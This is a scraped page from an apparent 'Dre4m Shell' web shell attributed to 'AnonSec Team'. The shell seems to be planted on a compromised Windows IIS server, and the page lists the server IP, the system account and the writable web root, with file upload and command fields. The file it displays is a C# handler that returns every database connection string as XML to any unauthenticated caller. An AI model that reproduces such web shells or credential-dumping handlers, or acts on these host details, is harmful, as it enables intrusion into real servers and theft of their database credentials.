Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.118.119.77
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/kmsjbcom/kmsjb.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/kmsjbcom/kmsjb.com/wwwroot/GetSynchInfo.ashx.exclude
<%@ WebHandler Language="C#" Class="GetSynchInfo" %>

using System;
using System.Web;
using System.Text;
using YL.DataAccessLib;

public class GetSynchInfo : IHttpHandler
{

    public void ProcessRequest(HttpContext context)
    {
        StringBuilder sb = new StringBuilder("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");

        // Start
        sb.AppendLine("<coding xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">");        
        
        foreach (DataAccessConfig l_Config in DataAccessHelper.DataAccessList.Values)
        {
            sb.AppendLine(string.Format(
                "<Connection CN=\"{0}\" PN=\"{1}\" CS=\"{2}\">",
                    l_Config.DbDatabaseName,
                    l_Config.DbProviderName,
                    l_Config.DbConnectionString
                )                
            );

            sb.AppendLine("</Connection>");
        }

        // End        
        sb.AppendLine("</coding>");
        
        context.Response.ContentType = "text/xml";
        context.Response.Write(sb.ToString());
    }

    public bool IsReusable
    {
        get
        {
            return false;
        }
    }

}

Anon7 - 2022
AnonSec Team